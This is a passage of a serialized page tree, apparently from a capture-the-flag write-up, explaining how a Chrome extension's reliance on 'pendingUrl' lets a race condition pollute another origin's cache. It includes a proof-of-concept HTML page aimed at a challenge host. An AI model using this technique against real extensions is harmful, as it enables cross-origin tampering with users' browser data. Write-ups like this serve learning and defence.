2,7146,7150,7154,7158,7162,7166],{"type":32,"tag":83,"props":7123,"children":7124},{"style":1664},[7125],{"type":37,"value":2182},{"type":32,"tag":83,"props":7127,"children":7128},{"style":96},[7129],{"type":37,"value":2187},{"type":32,"tag":83,"props":7131,"children":7132},{"style":1627},[7133],{"type":37,"value":2192},{"type":32,"tag":83,"props":7135,"children":7136},{"style":96},[7137],{"type":37,"value":627},{"type":32,"tag":83,"props":7139,"children":7140},{"style":1616},[7141],{"type":37,"value":2201},{"type":32,"tag":83,"props":7143,"children":7144},{"style":96},[7145],{"type":37,"value":1624},{"type":32,"tag":83,"props":7147,"children":7148},{"style":1627},[7149],{"type":37,"value":1630},{"type":32,"tag":83,"props":7151,"children":7152},{"style":96},[7153],{"type":37,"value":1654},{"type":32,"tag":83,"props":7155,"children":7156},{"style":1610},[7157],{"type":37,"value":2218},{"type":32,"tag":83,"props":7159,"children":7160},{"style":1664},[7161],{"type":37,"value":2223},{"type":32,"tag":83,"props":7163,"children":7164},{"style":96},[7165],{"type":37,"value":1654},{"type":32,"tag":83,"props":7167,"children":7168},{"style":96},[7169],{"type":37,"value":875},{"type":32,"tag":83,"props":7171,"children":7172},{"class":85,"line":310},[7173,7177,7181,7185,7189,7193,7197,7201,7205],{"type":32,"tag":83,"props":7174,"children":7175},{"style":1664},[7176],{"type":37,"value":2239},{"type":32,"tag":83,"props":7178,"children":7179},{"style":1616},[7180],{"type":37,"value":1696},{"type":32,"tag":83,"props":7182,"children":7183},{"style":96},[7184],{"type":37,"value":1851},{"type":32,"tag":83,"props":7186,"children":7187},{"style":90},[7188],{"type":37,"value":1904},{"type":32,"tag":83,"props":7190,"children":7191},{"style":96},[7192],{"type":37,"value":99},{"type":32,"tag":83,"props":7194,"children":7195},{"style":102},[7196],{"type":37,"value":105},{"type":32,"tag":83,"props":7198,"children":7199},{"style":108},[7200],{"type":37,"value":2264},{"type":32,"tag":83,"props":7202,"children":7203},{"style":102},[7204],{"type":37,"value":1544},{"type":32,"tag":83,"props":7206,"children":7207},{"style":96},[7208],{"type":37,"value":2273},{"type":32,"tag":83,"props":7210,"children":7211},{"class":85,"line":323},[7212],{"type":32,"tag":83,"props":7213,"children":7214},{"style":96},[7215],{"type":37,"value":2281},{"type":32,"tag":83,"props":7217,"children":7218},{"class":85,"line":340},[7219,7223,7227,7231,7235,7239,7243,7247,7251,7255,7259,7263],{"type":32,"tag":83,"props":7220,"children":7221},{"style":1627},[7222],{"type":37,"value":2289},{"type":32,"tag":83,"props":7224,"children":7225},{"style":96},[7226],{"type":37,"value":627},{"type":32,"tag":83,"props":7228,"children":7229},{"style":1616},[7230],{"type":37,"value":1774},{"type":32,"tag":83,"props":7232,"children":7233},{"style":96},[7234],{"type":37,"value":1624},{"type":32,"tag":83,"props":7236,"children":7237},{"style":102},[7238],{"type":37,"value":688},{"type":32,"tag":83,"props":7240,"children":7241},{"style":108},[7242],{"type":37,"value":2310},{"type":32,"tag":83,"props":7244,"children":7245},{"style":102},[7246],{"type":37,"value":688},{"type":32,"tag":83,"props":7248,"children":7249},{"style":96},[7250],{"type":37,"value":1635},{"type":32,"tag":83,"props":7252,"children":7253},{"style":1627},[7254],{"type":37,"value":2166},{"type":32,"tag":83,"props":7256,"children":7257},{"style":96},[7258],{"type":37,"value":2327},{"type":32,"tag":83,"props":7260,"children":7261},{"style":1627},[7262],{"type":37,"value":1630},{"type":32,"tag":83,"props":7264,"children":7265},{"style":96},[7266],{"type":37,"value":2336},{"type":32,"tag":83,"props":7268,"children":7269},{"class":85,"line":356},[7270,7274,7278,7282,7286,7290],{"type":32,"tag":83,"props":7271,"children":7272},{"style":1616},[7273],{"type":37,"value":1895},{"type":32,"tag":83,"props":7275,"children":7276},{"style":96},[7277],{"type":37,"value":1624},{"type":32,"tag":83,"props":7279,"children":7280},{"style":1627},[7281],{"type":37,"value":2192},{"type":32,"tag":83,"props":7283,"children":7284},{"style":96},[7285],{"type":37,"value":2327},{"type":32,"tag":83,"props":7287,"children":7288},{"style":1627},[7289],{"type":37,"value":1630},{"type":32,"tag":83,"props":7291,"children":7292},{"style":96},[7293],{"type":37,"value":2336},{"type":32,"tag":83,"props":7295,"children":7296},{"class":85,"line":369},[7297],{"type":32,"tag":83,"props":7298,"children":7299},{"style":96},[7300],{"type":37,"value":2371},{"type":32,"tag":83,"props":7302,"children":7303},{"class":85,"line":387},[7304],{"type":32,"tag":83,"props":7305,"children":7306},{"style":96},[7307],{"type":37,"value":2379},{"type":32,"tag":83,"props":7309,"children":7310},{"class":85,"line":405},[7311],{"type":32,"tag":83,"props":7312,"children":7313},{"style":96},[7314],{"type":37,"value":1453},{"type":32,"tag":83,"props":7316,"children":7317},{"class":85,"line":423},[7318],{"type":32,"tag":83,"props":7319,"children":7320},{"emptyLinePlaceholder":123},[7321],{"type":37,"value":126},{"type":32,"tag":83,"props":7323,"children":7324},{"class":85,"line":441},[7325,7329,7333,7337,7341,7345,7349,7353,7357,7361,7365,7369,7373,7377,7381,7385],{"type":32,"tag":83,"props":7326,"children":7327},{"style":1627},[7328],{"type":37,"value":2401},{"type":32,"tag":83,"props":7330,"children":7331},{"style":96},[7332],{"type":37,"value":627},{"type":32,"tag":83,"props":7334,"children":7335},{"style":1627},[7336],{"type":37,"value":2410},{"type":32,"tag":83,"props":7338,"children":7339},{"style":96},[7340],{"type":37,"value":627},{"type":32,"tag":83,"props":7342,"children":7343},{"style":1627},[7344],{"type":37,"value":2419},{"type":32,"tag":83,"props":7346,"children":7347},{"style":96},[7348],{"type":37,"value":627},{"type":32,"tag":83,"props":7350,"children":7351},{"style":1616},[7352],{"type":37,"value":2428},{"type":32,"tag":83,"props":7354,"children":7355},{"style":96},[7356],{"type":37,"value":1682},{"type":32,"tag":83,"props":7358,"children":7359},{"style":1627},[7360],{"type":37,"value":2437},{"type":32,"tag":83,"props":7362,"children":7363},{"style":96},[7364],{"type":37,"value":1635},{"type":32,"tag":83,"props":7366,"children":7367},{"style":1627},[7368],{"type":37,"value":2446},{"type":32,"tag":83,"props":7370,"children":7371},{"style":96},[7372],{"type":37,"value":1635},{"type":32,"tag":83,"props":7374,"children":7375},{"style":1627},[7376],{"type":37,"value":2455},{"type":32,"tag":83,"props":7378,"children":7379},{"style":96},[7380],{"type":37,"value":1654},{"type":32,"tag":83,"props":7382,"children":7383},{"style":96},[7384],{"type":37,"value":1705},{"type":32,"tag":83,"props":7386,"children":7387},{"style":96},[7388],{"type":37,"value":875},{"type":32,"tag":83,"props":7390,"children":7391},{"class":85,"line":460},[7392,7396,7400,7404,7408,7412,7416],{"type":32,"tag":83,"props":7393,"children":7394},{"style":1610},[7395],{"type":37,"value":2475},{"type":32,"tag":83,"props":7397,"children":7398},{"style":90},[7399],{"type":37,"value":1677},{"type":32,"tag":83,"props":7401,"children":7402},{"style":96},[7403],{"type":37,"value":1624},{"type":32,"tag":83,"props":7405,"children":7406},{"style":1610},[7407],{"type":37,"value":2488},{"type":32,"tag":83,"props":7409,"children":7410},{"style":96},[7411],{"type":37,"value":1879},{"type":32,"tag":83,"props":7413,"children":7414},{"style":96},[7415],{"type":37,"value":1705},{"type":32,"tag":83,"props":7417,"children":7418},{"style":96},[7419],{"type":37,"value":875},{"type":32,"tag":83,"props":7421,"children":7422},{"class":85,"line":478},[7423,7427,7431,7435,7439,7443,7447,7451,7455,7459,7463,7467,7471,7475,7479,7483,7487,7491,7495,7499],{"type":32,"tag":83,"props":7424,"children":7425},{"style":1610},[7426],{"type":37,"value":2508},{"type":32,"tag":83,"props":7428,"children":7429},{"style":1627},[7430],{"type":37,"value":2513},{"type":32,"tag":83,"props":7432,"children":7433},{"style":96},[7434],{"type":37,"value":1722},{"type":32,"tag":83,"props":7436,"children":7437},{"style":1610},[7438],{"type":37,"value":1672},{"type":32,"tag":83,"props":7440,"children":7441},{"style":1616},[7442],{"type":37,"value":2526},{"type":32,"tag":83,"props":7444,"children":7445},{"style":96},[7446],{"type":37,"value":1624},{"type":32,"tag":83,"props":7448,"children":7449},{"style":1627},[7450],{"type":37,"value":2535},{"type":32,"tag":83,"props":7452,"children":7453},{"style":96},[7454],{"type":37,"value":627},{"type":32,"tag":83,"props":7456,"children":7457},{"style":1627},[7458],{"type":37,"value":2544},{"type":32,"tag":83,"props":7460,"children":7461},{"style":96},[7462],{"type":37,"value":627},{"type":32,"tag":83,"props":7464,"children":7465},{"style":1627},[7466],{"type":37,"value":2553},{"type":32,"tag":83,"props":7468,"children":7469},{"style":1610},[7470],{"type":37,"value":2558},{"type":32,"tag":83,"props":7472,"children":7473},{"style":1627},[7474],{"type":37,"value":2446},{"type":32,"tag":83,"props":7476,"children":7477},{"style":96},[7478],{"type":37,"value":627},{"type":32,"tag":83,"props":7480,"children":7481},{"style":1627},[7482],{"type":37,"value":2544},{"type":32,"tag":83,"props":7484,"children":7485},{"style":96},[7486],{"type":37,"value":627},{"type":32,"tag":83,"props":7488,"children":7489},{"style":1627},[7490],{"type":37,"value":2579},{"type":32,"tag":83,"props":7492,"children":7493},{"style":96},[7494],{"type":37,"value":2584},{"type":32,"tag":83,"props":7496,"children":7497},{"style":1627},[7498],{"type":37,"value":2589},{"type":32,"tag":83,"props":7500,"children":7501},{"style":96},[7502],{"type":37,"value":1558},{"type":32,"tag":83,"props":7504,"children":7505},{"class":85,"line":496},[7506,7510,7514,7518,7522,7526,7530,7534,7538,7542],{"type":32,"tag":83,"props":7507,"children":7508},{"style":1627},[7509],{"type":37,"value":1765},{"type":32,"tag":83,"props":7511,"children":7512},{"style":96},[7513],{"type":37,"value":627},{"type":32,"tag":83,"props":7515,"children":7516},{"style":1616},[7517],{"type":37,"value":1774},{"type":32,"tag":83,"props":7519,"children":7520},{"style":96},[7521],{"type":37,"value":1624},{"type":32,"tag":83,"props":7523,"children":7524},{"style":102},[7525],{"type":37,"value":688},{"type":32,"tag":83,"props":7527,"children":7528},{"style":108},[7529],{"type":37,"value":2621},{"type":32,"tag":83,"props":7531,"children":7532},{"style":102},[7533],{"type":37,"value":688},{"type":32,"tag":83,"props":7535,"children":7536},{"style":96},[7537],{"type":37,"value":1635},{"type":32,"tag":83,"props":7539,"children":7540},{"style":1627},[7541],{"type":37,"value":2513},{"type":32,"tag":83,"props":7543,"children":7544},{"style":96},[7545],{"type":37,"value":1812},{"type":32,"tag":83,"props":7547,"children":7548},{"class":85,"line":514},[7549,7553,7557,7561,7565,7569,7573,7577,7581,7585],{"type":32,"tag":83,"props":7550,"children":7551},{"style":1627},[7552],{"type":37,"value":1765},{"type":32,"tag":83,"props":7554,"children":7555},{"style":96},[7556],{"type":37,"value":627},{"type":32,"tag":83,"props":7558,"children":7559},{"style":1616},[7560],{"type":37,"value":1774},{"type":32,"tag":83,"props":7562,"children":7563},{"style":96},[7564],{"type":37,"value":1624},{"type":32,"tag":83,"props":7566,"children":7567},{"style":102},[7568],{"type":37,"value":688},{"type":32,"tag":83,"props":7570,"children":7571},{"style":108},[7572],{"type":37,"value":2665},{"type":32,"tag":83,"props":7574,"children":7575},{"style":102},[7576],{"type":37,"value":688},{"type":32,"tag":83,"props":7578,"children":7579},{"style":96},[7580],{"type":37,"value":1635},{"type":32,"tag":83,"props":7582,"children":7583},{"style":1627},[7584],{"type":37,"value":2678},{"type":32,"tag":83,"props":7586,"children":7587},{"style":96},[7588],{"type":37,"value":1812},{"type":32,"tag":83,"props":7590,"children":7591},{"class":85,"line":526},[7592,7596,7600,7604,7608,7612,7616,7620,7624,7628,7632],{"type":32,"tag":83,"props":7593,"children":7594},{"style":1664},[7595],{"type":37,"value":2691},{"type":32,"tag":83,"props":7597,"children":7598},{"style":96},[7599],{"type":37,"value":2187},{"type":32,"tag":83,"props":7601,"children":7602},{"style":1627},[7603],{"type":37,"value":2437},{"type":32,"tag":83,"props":7605,"children":7606},{"style":96},[7607],{"type":37,"value":627},{"type":32,"tag":83,"props":7609,"children":7610},{"style":1627},[7611],{"type":37,"value":2708},{"type":32,"tag":83,"props":7613,"children":7614},{"style":1610},[7615],{"type":37,"value":2218},{"type":32,"tag":83,"props":7617,"children":7618},{"style":102},[7619],{"type":37,"value":727},{"type":32,"tag":83,"props":7621,"children":7622},{"style":108},[7623],{"type":37,"value":2721},{"type":32,"tag":83,"props":7625,"children":7626},{"style":102},[7627],{"type":37,"value":688},{"type":32,"tag":83,"props":7629,"children":7630},{"style":96},[7631],{"type":37,"value":1654},{"type":32,"tag":83,"props":7633,"children":7634},{"style":96},[7635],{"type":37,"value":875},{"type":32,"tag":83,"props":7637,"children":7638},{"class":85,"line":538},[7639,7643,7647,7651,7655,7659,7663,7667,7671,7675,7679,7683,7687,7691,7695,7699],{"type":32,"tag":83,"props":7640,"children":7641},{"style":1616},[7642],{"type":37,"value":2742},{"type":32,"tag":83,"props":7644,"children":7645},{"style":96},[7646],{"type":37,"value":1624},{"type":32,"tag":83,"props":7648,"children":7649},{"style":1627},[7650],{"type":37,"value":2437},{"type":32,"tag":83,"props":7652,"children":7653},{"style":96},[7654],{"type":37,"value":627},{"type":32,"tag":83,"props":7656,"children":7657},{"style":1627},[7658],{"type":37,"value":2759},{"type":32,"tag":83,"props":7660,"children":7661},{"style":96},[7662],{"type":37,"value":627},{"type":32,"tag":83,"props":7664,"children":7665},{"style":1627},[7666],{"type":37,"value":1630},{"type":32,"tag":83,"props":7668,"children":7669},{"style":96},[7670],{"type":37,"value":1635},{"type":32,"tag":83,"props":7672,"children":7673},{"style":1627},[7674],{"type":37,"value":2678},{"type":32,"tag":83,"props":7676,"children":7677},{"style":96},[7678],{"type":37,"value":627},{"type":32,"tag":83,"props":7680,"children":7681},{"style":1627},[7682],{"type":37,"value":2759},{"type":32,"tag":83,"props":7684,"children":7685},{"style":96},[7686],{"type":37,"value":627},{"type":32,"tag":83,"props":7688,"children":7689},{"style":1627},[7690],{"type":37,"value":2792},{"type":32,"tag":83,"props":7692,"children":7693},{"style":96},[7694],{"type":37,"value":1635},{"type":32,"tag":83,"props":7696,"children":7697},{"style":1627},[7698],{"type":37,"value":2513},{"type":32,"tag":83,"props":7700,"children":7701},{"style":96},[7702],{"type":37,"value":2805},{"type":32,"tag":83,"props":7704,"children":7705},{"class":85,"line":548},[7706,7710,7714,7718,7722,7726,7730,7734,7738],{"type":32,"tag":83,"props":7707,"children":7708},{"style":96},[7709],{"type":37,"value":2814},{"type":32,"tag":83,"props":7711,"children":7712},{"style":1616},[7713],{"type":37,"value":2819},{"type":32,"tag":83,"props":7715,"children":7716},{"style":96},[7717],{"type":37,"value":1624},{"type":32,"tag":83,"props":7719,"children":7720},{"style":1627},[7721],{"type":37,"value":2828},{"type":32,"tag":83,"props":7723,"children":7724},{"style":96},[7725],{"type":37,"value":1705},{"type":32,"tag":83,"props":7727,"children":7728},{"style":1616},[7729],{"type":37,"value":2455},{"type":32,"tag":83,"props":7731,"children":7732},{"style":96},[7733],{"type":37,"value":1624},{"type":32,"tag":83,"props":7735,"children":7736},{"style":1627},[7737],{"type":37,"value":2828},{"type":32,"tag":83,"props":7739,"children":7740},{"style":96},[7741],{"type":37,"value":2849},{"type":32,"tag":83,"props":7743,"children":7744},{"class":85,"line":557},[7745,7749,7753,7757,7761,7765,7769,7773,7777],{"type":32,"tag":83,"props":7746,"children":7747},{"style":96},[7748],{"type":37,"value":2814},{"type":32,"tag":83,"props":7750,"children":7751},{"style":1616},[7752],{"type":37,"value":2862},{"type":32,"tag":83,"props":7754,"children":7755},{"style":96},[7756],{"type":37,"value":1624},{"type":32,"tag":83,"props":7758,"children":7759},{"style":1627},[7760],{"type":37,"value":2871},{"type":32,"tag":83,"props":7762,"children":7763},{"style":96},[7764],{"type":37,"value":1705},{"type":32,"tag":83,"props":7766,"children":7767},{"style":1616},[7768],{"type":37,"value":2455},{"type":32,"tag":83,"props":7770,"children":7771},{"style":96},[7772],{"type":37,"value":1851},{"type":32,"tag":83,"props":7774,"children":7775},{"style":1627},[7776],{"type":37,"value":2888},{"type":32,"tag":83,"props":7778,"children":7779},{"style":96},[7780],{"type":37,"value":2893},{"type":32,"tag":83,"props":7782,"children":7783},{"class":85,"line":566},[7784,7788,7792,7796,7800,7804,7808,7812,7816,7820,7824,7828,7832],{"type":32,"tag":83,"props":7785,"children":7786},{"style":96},[7787],{"type":37,"value":2902},{"type":32,"tag":83,"props":7789,"children":7790},{"style":1664},[7791],{"type":37,"value":2907},{"type":32,"tag":83,"props":7793,"children":7794},{"style":1664},[7795],{"type":37,"value":2912},{"type":32,"tag":83,"props":7797,"children":7798},{"style":96},[7799],{"type":37,"value":2187},{"type":32,"tag":83,"props":7801,"children":7802},{"style":1627},[7803],{"type":37,"value":2437},{"type":32,"tag":83,"props":7805,"children":7806},{"style":96},[7807],{"type":37,"value":627},{"type":32,"tag":83,"props":7809,"children":7810},{"style":1627},[7811],{"type":37,"value":2708},{"type":32,"tag":83,"props":7813,"children":7814},{"style":1610},[7815],{"type":37,"value":2218},{"type":32,"tag":83,"props":7817,"children":7818},{"style":102},[7819],{"type":37,"value":727},{"type":32,"tag":83,"props":7821,"children":7822},{"style":108},[7823],{"type":37,"value":2941},{"type":32,"tag":83,"props":7825,"children":7826},{"style":102},[7827],{"type":37,"value":688},{"type":32,"tag":83,"props":7829,"children":7830},{"style":96},[7831],{"type":37,"value":1654},{"type":32,"tag":83,"props":7833,"children":7834},{"style":96},[7835],{"type":37,"value":875},{"type":32,"tag":83,"props":7837,"children":7838},{"class":85,"line":574},[7839,7843,7847,7851,7855,7859,7863,7867,7871,7875],{"type":32,"tag":83,"props":7840,"children":7841},{"style":1616},[7842],{"type":37,"value":2962},{"type":32,"tag":83,"props":7844,"children":7845},{"style":96},[7846],{"type":37,"value":1624},{"type":32,"tag":83,"props":7848,"children":7849},{"style":1627},[7850],{"type":37,"value":2437},{"type":32,"tag":83,"props":7852,"children":7853},{"style":96},[7854],{"type":37,"value":627},{"type":32,"tag":83,"props":7856,"children":7857},{"style":1627},[7858],{"type":37,"value":2759},{"type":32,"tag":83,"props":7860,"children":7861},{"style":96},[7862],{"type":37,"value":627},{"type":32,"tag":83,"props":7864,"children":7865},{"style":1627},[7866],{"type":37,"value":1630},{"type":32,"tag":83,"props":7868,"children":7869},{"style":96},[7870],{"type":37,"value":1635},{"type":32,"tag":83,"props":7872,"children":7873},{"style":1627},[7874],{"type":37,"value":2513},{"type":32,"tag":83,"props":7876,"children":7877},{"style":96},[7878],{"type":37,"value":2805},{"type":32,"tag":83,"props":7880,"children":7881},{"class":85,"line":587},[7882,7886,7890,7894,7898,7902,7906,7910,7914],{"type":32,"tag":83,"props":7883,"children":7884},{"style":96},[7885],{"type":37,"value":2814},{"type":32,"tag":83,"props":7887,"children":7888},{"style":1616},[7889],{"type":37,"value":2819},{"type":32,"tag":83,"props":7891,"children":7892},{"style":96},[7893],{"type":37,"value":1624},{"type":32,"tag":83,"props":7895,"children":7896},{"style":1627},[7897],{"type":37,"value":2828},{"type":32,"tag":83,"props":7899,"children":7900},{"style":96},[7901],{"type":37,"value":1705},{"type":32,"tag":83,"props":7903,"children":7904},{"style":1616},[7905],{"type":37,"value":2455},{"type":32,"tag":83,"props":7907,"children":7908},{"style":96},[7909],{"type":37,"value":1624},{"type":32,"tag":83,"props":7911,"children":7912},{"style":1627},[7913],{"type":37,"value":2828},{"type":32,"tag":83,"props":7915,"children":7916},{"style":96},[7917],{"type":37,"value":2849},{"type":32,"tag":83,"props":7919,"children":7920},{"class":85,"line":2685},[7921,7925,7929,7933,7937,7941,7945,7949,7953],{"type":32,"tag":83,"props":7922,"children":7923},{"style":96},[7924],{"type":37,"value":2814},{"type":32,"tag":83,"props":7926,"children":7927},{"style":1616},[7928],{"type":37,"value":2862},{"type":32,"tag":83,"props":7930,"children":7931},{"style":96},[7932],{"type":37,"value":1624},{"type":32,"tag":83,"props":7934,"children":7935},{"style":1627},[7936],{"type":37,"value":2871},{"type":32,"tag":83,"props":7938,"children":7939},{"style":96},[7940],{"type":37,"value":1705},{"type":32,"tag":83,"props":7942,"children":7943},{"style":1616},[7944],{"type":37,"value":2455},{"type":32,"tag":83,"props":7946,"children":7947},{"style":96},[7948],{"type":37,"value":1851},{"type":32,"tag":83,"props":7950,"children":7951},{"style":1627},[7952],{"type":37,"value":2888},{"type":32,"tag":83,"props":7954,"children":7955},{"style":96},[7956],{"type":37,"value":2893},{"type":32,"tag":83,"props":7958,"children":7959},{"class":85,"line":2736},[7960],{"type":32,"tag":83,"props":7961,"children":7962},{"style":96},[7963],{"type":37,"value":1437},{"type":32,"tag":83,"props":7965,"children":7966},{"class":85,"line":2808},[7967],{"type":32,"tag":83,"props":7968,"children":7969},{"style":96},[7970],{"type":37,"value":1942},{"type":32,"tag":83,"props":7972,"children":7973},{"class":85,"line":2852},[7974,7978,7982],{"type":32,"tag":83,"props":7975,"children":7976},{"style":1664},[7977],{"type":37,"value":1667},{"type":32,"tag":83,"props":7979,"children":7980},{"style":1664},[7981],{"type":37,"value":3107},{"type":32,"tag":83,"props":7983,"children":7984},{"style":96},[7985],{"type":37,"value":1558},{"type":32,"tag":83,"props":7987,"children":7988},{"class":85,"line":2896},[7989],{"type":32,"tag":83,"props":7990,"children":7991},{"style":96},[7992],{"type":37,"value":3120},{"type":32,"tag":39,"props":7994,"children":7996},{"id":7995},"race-condition-to-chrome-cache-pollution",[7997],{"type":37,"value":625},{"type":32,"tag":46,"props":7999,"children":8000},{},[8001],{"type":37,"value":8002},"The first part of the challenge concerns a race condition in the background script.",{"type":32,"tag":46,"props":8004,"children":8005},{},[8006],{"type":37,"value":8007},"If we focus on the beginning of the background script, we can see that the sender_origin variable is defined in this way:",{"type":32,"tag":68,"props":8009,"children":8010},{"lang":1393},[8011],{"type":32,"tag":73,"props":8012,"children":8014},{"className":1531,"code":8013,"language":1393,"meta":7,"style":7},"const sender_origin = new URL(sender.tab.pendingUrl ?? sender.tab.url).origin;\n",[8015],{"type":32,"tag":79,"props":8016,"children":8017},{"__ignoreMap":7},[8018],{"type":32,"tag":83,"props":8019,"children":8020},{"class":85,"line":86},[8021,8025,8029,8033,8037,8041,8045,8049,8053,8057,8061,8065,8069,8073,8077,8081,8085,8089,8093,8097],{"type":32,"tag":83,"props":8022,"children":8023},{"style":1610},[8024],{"type":37,"value":4646},{"type":32,"tag":83,"props":8026,"children":8027},{"style":1627},[8028],{"type":37,"value":2513},{"type":32,"tag":83,"props":8030,"children":8031},{"style":96},[8032],{"type":37,"value":1722},{"type":32,"tag":83,"props":8034,"children":8035},{"style":1610},[8036],{"type":37,"value":1672},{"type":32,"tag":83,"props":8038,"children":8039},{"style":1616},[8040],{"type":37,"value":2526},{"type":32,"tag":83,"props":8042,"children":8043},{"style":96},[8044],{"type":37,"value":1624},{"type":32,"tag":83,"props":8046,"children":8047},{"style":1627},[8048],{"type":37,"value":2535},{"type":32,"tag":83,"props":8050,"children":8051},{"style":96},[8052],{"type":37,"value":627},{"type":32,"tag":83,"props":8054,"children":8055},{"style":1627},[8056],{"type":37,"value":2544},{"type":32,"tag":83,"props":8058,"children":8059},{"style":96},[8060],{"type":37,"value":627},{"type":32,"tag":83,"props":8062,"children":8063},{"style":1627},[8064],{"type":37,"value":2553},{"type":32,"tag":83,"props":8066,"children":8067},{"style":1610},[8068],{"type":37,"value":2558},{"type":32,"tag":83,"props":8070,"children":8071},{"style":1627},[8072],{"type":37,"value":2446},{"type":32,"tag":83,"props":8074,"children":8075},{"style":96},[8076],{"type":37,"value":627},{"type":32,"tag":83,"props":8078,"children":8079},{"style":1627},[8080],{"type":37,"value":2544},{"type":32,"tag":83,"props":8082,"children":8083},{"style":96},[8084],{"type":37,"value":627},{"type":32,"tag":83,"props":8086,"children":8087},{"style":1627},[8088],{"type":37,"value":2579},{"type":32,"tag":83,"props":8090,"children":8091},{"style":96},[8092],{"type":37,"value":2584},{"type":32,"tag":83,"props":8094,"children":8095},{"style":1627},[8096],{"type":37,"value":2589},{"type":32,"tag":83,"props":8098,"children":8099},{"style":96},[8100],{"type":37,"value":1558},{"type":32,"tag":46,"props":8102,"children":8103},{},[8104],{"type":37,"value":8105},"The pendingUrl property in the Chrome Sender Object (found in the chrome.runtime API) is available in Chrome extensions to indicate a URL that a tab is in the process of navigating to, but has not yet fully loaded.",{"type":32,"tag":46,"props":8107,"children":8108},{},[8109,8111,8117],{"type":37,"value":8110},"This definition is problematic because it will take into account the pendingURL to define the value of the origin that will be used. It is therefore possible to arbitrarily pollute the chrome cache of an origin. We must therefore use a race condition for this. If you are not comfortable with the term Race condition, I advise you to check out the write-up of the ",{"type":32,"tag":620,"props":8112,"children":8114},{"href":8113},"/writeups/phantom-feed#race-condition",[8115],{"type":37,"value":8116},"Phantom-feed challenge",{"type":37,"value":627},{"type":32,"tag":46,"props":8119,"children":8120},{},[8121,8123,8129,8131],{"type":37,"value":8122},"With this code, we can demonstrate that it is possible to pollute the origin: ",{"type":32,"tag":79,"props":8124,"children":8126},{"className":8125},[],[8127],{"type":37,"value":8128},"shikanoko.challenge",{"type":37,"value":8130}," by updating the form value to: ",{"type":32,"tag":79,"props":8132,"children":8134},{"className":8133},[],[8135],{"type":37,"value":8136},"PWNED shikanoko nokonoko koshitantan",{"type":32,"tag":68,"props":8138,"children":8139},{"lang":3194},[8140],{"type":32,"tag":73,"props":8141,"children":8143},{"className":3198,"code":8142,"language":3194,"meta":7,"style":7},"\u003Chtml>\n    \u003Cbody>\n        \u003Ch1>Test poc\u003C/h1>\n        \u003Cinput id=\"html\" type=\"text\" name=\"html\" placeholder=\"Enter HTML content\">\n    \u003C/body>\n    \u003Cscript>\n        (async () => {\n            const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));\n                await sleep(1000);\n                document.location = \"http://shikanoko.challenge:8547/\";\n                html_elm = document.getElementById(\"html\");\n                html_elm.value = \"PWNED shikanoko nokonoko koshitantan\";\n                let event = new Event('change');\n                html_elm.dispatchEvent(event);\n        })();\n    \u003C/script>\n\u003C/html> \n",[8144],{"type":32,"tag":79,"props":8145,"children":8146},{"__ignoreMap":7},[8147,8162,8177,8209,8305,8320,8335,8359,8440,8465,8502,8547,8582,8627,8655,8663,8678],{"type":32,"tag":83,"props":8148,"children":8149},{"class":85,"line":86},[8150,8154,8158],{"type":32,"tag":83,"props":8151,"children":8152},{"style":96},[8153],{"type":37,"value":3234},{"type":32,"tag":83,"props":8155,"children":8156},{"style":1664},[8157],{"type":37,"value":3194},{"type":32,"tag":83,"props":8159,"children":8160},{"style":96},[8161],{"type":37,"value":3226},{"type":32,"tag":83,"props":8163,"children":8164},{"class":85,"line":119},[8165,8169,8173],{"type":32,"tag":83,"props":8166,"children":8167},{"style":96},[8168],{"type":37,"value":3296},{"type":32,"tag":83,"props":8170,"children":8171},{"style":1664},[8172],{"type":37,"value":3456},{"type":32,"tag":83,"props":8174,"children":8175},{"style":96},[8176],{"type":37,"value":3226},{"type":32,"tag":83,"props":8178,"children":8179},{"class":85,"line":129},[8180,8184,8188,8192,8197,8201,8205],{"type":32,"tag":83,"props":8181,"children":8182},{"style":96},[8183],{"type":37,"value":3538},{"type":32,"tag":83,"props":8185,"children":8186},{"style":1664},[8187],{"type":37,"value":33},{"type":32,"tag":83,"props":8189,"children":8190},{"style":96},[8191],{"type":37,"value":3403},{"type":32,"tag":83,"props":8193,"children":8194},{"style":3406},[8195],{"type":37,"value":8196},"Test poc",{"type":32,"tag":83,"props":8198,"children":8199},{"style":96},[8200],{"type":37,"value":3414},{"type":32,"tag":83,"props":8202,"children":8203},{"style":1664},[8204],{"type":37,"value":33},{"type":32,"tag":83,"props":8206,"children":8207},{"style":96},[8208],{"type":37,"value":3226},{"type":32,"tag":83,"props":8210,"children":8211},{"class":85,"line":143},[8212,8216,8220,8225,8229,8233,8237,8241,8245,8249,8253,8257,8261,8265,8269,8273,8277,8281,8285,8289,8293,8297,8301],{"type":32,"tag":83,"props":8213,"children":8214},{"style":96},[8215],{"type":37,"value":3538},{"type":32,"tag":83,"props":8217,"children":8218},{"style":1664},[8219],{"type":37,"value":3543},{"type":32,"tag":83,"props":8221,"children":8222},{"style":1627},[8223],{"type":37,"value":8224}," id",{"type":32,"tag":83,"props":8226,"children":8227},{"style":96},[8228],{"type":37,"value":3248},{"type":32,"tag":83,"props":8230,"children":8231},{"style":102},[8232],{"type":37,"value":688},{"type":32,"tag":83,"props":8234,"children":8235},{"style":108},[8236],{"type":37,"value":3194},{"type":32,"tag":83,"props":8238,"children":8239},{"style":102},[8240],{"type":37,"value":688},{"type":32,"tag":83,"props":8242,"children":8243},{"style":1627},[8244],{"type":37,"value":3548},{"type":32,"tag":83,"props":8246,"children":8247},{"style":96},[8248],{"type":37,"value":3248},{"type":32,"tag":83,"props":8250,"children":8251},{"style":102},[8252],{"type":37,"value":688},{"type":32,"tag":83,"props":8254,"children":8255},{"style":108},[8256],{"type":37,"value":37},{"type":32,"tag":83,"props":8258,"children":8259},{"style":102},[8260],{"type":37,"value":688},{"type":32,"tag":83,"props":8262,"children":8263},{"style":1627},[8264],{"type":37,"value":3343},{"type":32,"tag":83,"props":8266,"children":8267},{"style":96},[8268],{"type":37,"value":3248},{"type":32,"tag":83,"props":8270,"children":8271},{"style":102},[8272],{"type":37,"value":688},{"type":32,"tag":83,"props":8274,"children":8275},{"style":108},[8276],{"type":37,"value":3194},{"type":32,"tag":83,"props":8278,"children":8279},{"style":102},[8280],{"type":37,"value":688},{"type":32,"tag":83,"props":8282,"children":8283},{"style":1627},[8284],{"type":37,"value":3589},{"type":32,"tag":83,"props":8286,"children":8287},{"style":96},[8288],{"type":37,"value":3248},{"type":32,"tag":83,"props":8290,"children":8291},{"style":102},[8292],{"type":37,"value":688},{"type":32,"tag":83,"props":8294,"children":8295},{"style":108},[8296],{"type":37,"value":3602},{"